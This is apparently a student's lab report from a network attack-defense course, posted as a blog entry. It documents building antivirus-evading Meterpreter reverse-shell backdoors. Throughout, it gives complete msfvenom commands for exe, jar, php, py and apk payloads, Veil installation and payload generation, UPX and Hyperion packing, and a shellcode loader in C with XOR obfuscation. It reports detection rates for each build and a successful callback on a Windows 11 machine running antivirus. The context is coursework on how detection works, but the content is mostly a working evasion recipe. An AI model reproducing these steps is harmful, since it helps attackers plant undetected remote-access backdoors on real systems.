20222307 2024-2025-1 《网络与系统攻防技术》 实验三实验报告

1. 实验内容

1.1 实践内容

(1) 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 使用msfvenom生成jar、apk等其他文件
  • 使用veil加壳工具
  • 使用C+ shellcode进行编程

(2)通过组合应用各种技术实现恶意代码免杀
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2问题回答

(1)杀软是如何检测出恶意代码的?

  1. 签名检测(特征码检测):每个恶意软件都有其独特的代码片段,这些片段可以作为该软件的唯一标识,即特征码。杀毒软件会将文件的特征码与已知恶意软件的特征码进行比对,如果匹配成功,则判断该文件为恶意代码。

  2. 行为分析:杀毒软件会监控程序的行为,包括文件操作、网络通信、系统资源访问和修改等。如果程序的行为模式与已知的恶意行为模式匹配,或者表现出异常行为(如未经授权的访问、修改系统文件、窃取敏感信息等),则可能被判定为恶意软件。

  3. 启发式分析:启发式分析利用启发式算法分析未知软件的行为和代码结构,尝试发现未知的或变种的恶意软件。这种方法不仅仅依赖于已知的恶意软件数据库,而是通过分析软件的代码特征、行为模式等信息,评估其潜在的风险。

(2)免杀是做什么?

免杀技术通过修改病毒、木马的内容或特征码,使其能够躲避杀毒软件的查杀。

(3)免杀的基本方法有哪些?

  1. 修改特征码:特征码是杀毒软件用于识别病毒或恶意软件的一段特定代码。通过修改病毒或恶意软件的特征码,可以使其逃避杀毒软件的检测。
  2. 加壳与改壳:加壳是一种对可执行文件进行加密或压缩的技术,通过加壳可以隐藏程序的入口文件和代码结构,使杀毒软件难以找到程序的正常入口,从而躲避分析。
  3. 代码混淆与加密:通过混淆和加密代码,可以增加杀毒软件分析的难度,从而提高恶意软件的免杀成功率。
  4. 行为免杀:行为免杀是通过改变恶意软件在运行时的行为,使其避免触发杀毒软件的检测机制。
  5. 其他免杀方法:修改PE头、资源替换、签名伪造。
  6. 实验过程

实验环境:
主机IP:192.168.10.124
虚拟机IP:192.168.214.132

2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

2.1.1 使用msf编码器,并尝试使用msfvenom生成如jar之类的其他文件

实验用到VirusTotal来检测生成的恶意程序

(1)不使用编码器生成后门程序
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 -f exe > 20222307.exe

将生成的后面程序送到Virus Total中检测,检测率为61/73。被检测出有恶意代码。

(2)使用编码器生成后门程序20222307_1exe
msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.214.132 LPORT=2307 -f exe > 20222307_1.exe

送入VirusTotal检测,检测率为62/73。被检测出有恶意代码。

(3)使用编码器生成后面程序20222307_24.exe(编码24次)
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.214.132 LPORT=2307 -f exe > 20222307_24.exe

分析代码细节:
-p windows/meterpreter/reverse_tcp: 指定要使用的有效载荷类型。这里使用的是Windows平台上的Meterpreter反向TCP连接有效载荷,意味着它会从目标系统反向连接到攻击者的机器。
-e /x86/shikata_ga_nai: 指定编码方式。x86/shikata_ga_nai是一种常用的编码技术,用于绕过某些安全软件的检测。
-i 24:设置迭代次数,即编码的复杂度。迭代次数越高,编码后的有效载荷越难以被分析,但也可能导致文件大小增加。
-b ‘\x00’: 指定要避免的字节(Bad Characters)。这里\x00表示空字符,通常用于避免在特定环境中造成问题。

(4)使用msfvenom生成其他格式的后门文件

.jar文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 -f jar > 20222307.jar

.php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 x > 20222307.php

.py文件:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 -f py > 20222307.py

.apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 -f py > 20222307.py

分别将以上各类型的后门程序上传至VirusTotal进行检测,结果如下:

.jar:

.php:

.py:

.apk:

各种方式生成的后门程序的检测率:
msfvenom直接生成:61/73
msfvenom 编码一次:62/73
msfvenom 多次编码:61/73
生成.jar后门文件:34/64
生成.php后门文件:26/63
生成.py后门文件:0/63(由于实验电脑中没有python环境)
生成.apk后门文件:26/66

2.1.2 使用Veil生成后门程序

 (1)下载配置Veil
  安装veil,依次输入以下命令:

点击查看代码
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32
apt-get install veil
sudo su
cd /usr/share/veil/config/
vim setup.sh

找到下图内容,按insert键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git
保存退出;

输入veil运行veil进行安装;

安装过程中一路默认安装;
通过命令use evasion进入evasion模块,如下图

输入list指令具体查看每一个payload的名称。

(2)利用Veil生成后门程序
输入use c/meterpreter/rev_tcp.py选择第七个载荷

输入 set LHOST 192.168.214.132set LPORT 2307分别设置好LHOST、LPORT,输入generate指令开始生成文件20222307_vell.exe

在/var/lib/veil/output/compiled中找到将20222307_vell.exe,上传至VirusTotal进行检测,检测率为44/73,免杀有一定效果但并不显著。

2.1.3 加壳处理来试图实现免杀

 (1)压缩加壳
输入指令upx 20222307.exe -o 20222307_upx.exe,对后门文件进行压缩加壳

上传至VirusTotal检测,检测率为55/71

(2)加密加壳
先输入cp 20222307.exe /usr/share/windows-resources/hyperion复制需要加壳的文件;再输入cd /usr/share/windows-resources/hyperion进入文件夹。
输入指令wine hyperion.exe -v 20222307.exe 20222307_hyperion.exe对文件进行加密加壳

在/usr/share/windows-resources/hyperion中找到20222307_hyperion.exe,上传检测,检测率为52/72

2.1.4 采用C+shellcode来试图实现免杀

输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.214.132 LPORT=2307 -f c来获取一段shellcode编码

输入vi 20222307_c.c,创建文件并将shellcode加入进去,如图。


输入gcc 20222307_C.c -o 20222307_C.exe 采用gcc编译20222307_C.exe文件并传至主机。


上传至VirusTotal检测,效果不错!!检测率只有15/66。

2.2 通过组合应用各种技术实现恶意代码免杀

2.2.1 msfvenom多次编码+压缩加壳

依次输入指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.214.132 LPORT=2307 -f exe >20222307_zip.exe
upx 20222307.exe -o 20222307_zip_upx.exe
利用多次编码方式生成后门软件并进行加壳处理。
(这边忘截图了,只能在目录下看到有20222307_zip.exe程序产生了)


上传至VirusTotal检测,检测率为55/72。

2.2.2 C+shellcode编码+异或处理

创建文件20222307_or.c,编写使其将刚刚生成的shellcode编码在异或处理后输出到文件20222307shellcode.txt,具体如下。

打开.c文件

修改如下:

使用gcc编译后运行,得到异或后的shellcode编码。

运行20222307_or.exe后打开20222307shellcode.txt

创建文件20222307_or_c.c文件,将异或后的编码加入进去,再利用gcc编译生成.exe后门文件传至主机。


上传至VirusTotal检测,效果非常好!!!检测率低至仅仅2/66。

使用火绒查杀本次实验生成的后门文件,结果如图:

查杀的5个文件中,没有20222307_or_c.exe,说明该后门文件与杀毒软件共生。

2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.214.132 LPORT=2307 -f raw >20222307.raw 生成后门文件20222307.raw

电脑版本为Windows11,杀软为火绒安全软件version:5.0.75.16

启动msf,配置好payload、LHOST等相关参数,开始监听。

为了运行.raw文件安装[shellcode_launcher:] (https://gitee.com/vantler/shellcode_launcher/)
运行20222307.raw,可以观察到成功连接。

ls查看目录下的所有文件

文件中也实际是这样的,与ls查看结果一致

3.问题及解决方案

  • 问题1:"Can't find the WINE profile for AuotIT v3"问题

    解决方案:根据提示输入"Run: /usr/share/veil/config/setup.sh --force --silent"

  • 问题2:组合应用各种技术实现恶意代码免杀时总会被发现
    解决方法:舍弃"msfvenom多次编码+压缩加壳"方案,改用"C+shellcode编码+异或处理"

4.学习感悟、思考等

起初,通过一系列实验,我深入掌握了免杀技术的核心原理,探索了多种实现免杀的手段,比如veil工具的应用、文件加壳技术的运用以保护文件免受检测、C语言结合shellcode的免杀实践,以及利用VT等在线平台验证免杀成效等。总而言之,这次实验成果丰硕,尽管过程充满挑战。

在这趟实验之旅中,veil工具的安装无疑是最大的绊脚石之一。安装它不仅耗时颇长,而且对存储空间有着极高的要求,所幸我在虚拟机创建之初就预留了足够的空间,否则很可能在安装中途遭遇空间不足的尴尬。这一难题耗费了我大量时间,通过广泛搜集资料、深入分析,最终成功克服了veil安装失败的问题,这一过程也极大地锻炼了我的问题解决能力。

此外,这次实验还进一步加深了我的信息安全保密意识。在没有杀毒软件、防火墙等防护措施的情况下,电脑极易在不知不觉中遭受攻击,导致信息泄露等严重后果。因此,我们必须时刻保持警惕,增强安全保密意识,避免下载运行不明程序、谨慎点击不明链接、对钓鱼邮件和短信保持高度警觉。

posted @ 2024-10-31 13:00  20222307朴智晟  阅读(27)  评论(0编辑  收藏  举报